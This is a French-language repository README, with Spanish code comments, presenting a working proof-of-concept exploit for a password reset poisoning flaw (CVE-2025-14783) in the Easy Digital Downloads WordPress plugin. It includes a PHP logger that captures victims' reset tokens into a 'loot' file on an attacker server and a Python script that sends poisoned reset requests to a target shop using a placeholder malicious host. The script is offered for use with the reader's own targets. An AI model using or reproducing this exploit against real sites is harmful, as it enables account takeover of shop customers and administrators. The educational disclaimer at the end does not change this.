
🧨 CVE-2025-14783: Easy Digital Downloads - Prise de contrôle de compte (PoC)
"La confiance est la faille de sécurité la plus exploitable."
Ce dépôt contient une Preuve de Concept (PoC) fonctionnelle pour CVE-2025-14783, une vulnérabilité critique de Password Reset Poisoning (Empoisonnement de la Réinitialisation de Mot de Passe) dans le plugin Easy Digital Downloads (EDD) pour WordPress (versions <= 3.6.2).
En raison d'un manque de validation du paramètre edd_redirect lors du processus de demande de réinitialisation de mot de passe, un attaquant distant non authentifié peut injecter un domaine malveillant. Cela provoque l'envoi par le courrier électronique légitime de la boutique d'un lien de réinitialisation pointant vers le serveur de l'attaquant, divulguant le jeton d'accès (key) et permettant une Account Takeover (ATO) totale, y compris pour les comptes administrateur.
Le défaut réside dans la fonction qui construit l'URL de réinitialisation dans l'e-mail. Le code vulnérable utilise esc_url_raw() pour « nettoyer » l'entrée, mais ne valide pas l'hôte de destination.
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
En contrôlant $_POST['edd_redirect'], nous contrôlons la base de l'URL générée.
requests (pip install requests)Téléchargez le script PHP suivant (logger.php) sur votre serveur malveillant pour intercepter les tokens des victimes.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
Modifiez le script exploit.py avec vos cibles et exécutez-le.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| Confidentialité | Intégrité | Disponibilité |
|---|---|---|
| HAUTE 🟥 | HAUTE 🟥 | BASSE 🟩 |
Un attaquant réussi peut :
Ce logiciel est fourni UNIQUEMENT à des fins éducatives et de recherche en sécurité.
L'auteur (ZeroEthical) n'est pas responsable de l'usage abusif de ces informations.
Attaquer des cibles sans consentement préalable écrit est illégal et peut entraîner des poursuites judiciaires sévères.
Utilisez-le à vos propres risques dans des environnements contrôlés.
Powered by ZeroEthical
"Nous ne corrigeons pas les vulnérabilités, nous les démontrons."